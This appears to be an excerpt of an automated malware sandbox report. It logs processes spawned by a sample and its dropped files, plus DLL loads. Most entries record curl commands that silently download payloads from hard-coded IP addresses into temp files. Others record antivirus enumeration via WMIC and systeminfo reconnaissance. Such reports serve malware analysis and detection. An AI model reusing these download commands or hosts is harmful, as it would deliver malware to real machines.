Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr" "C:\Users\user\AppData\Local\InnoSphere Dynamics\l"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
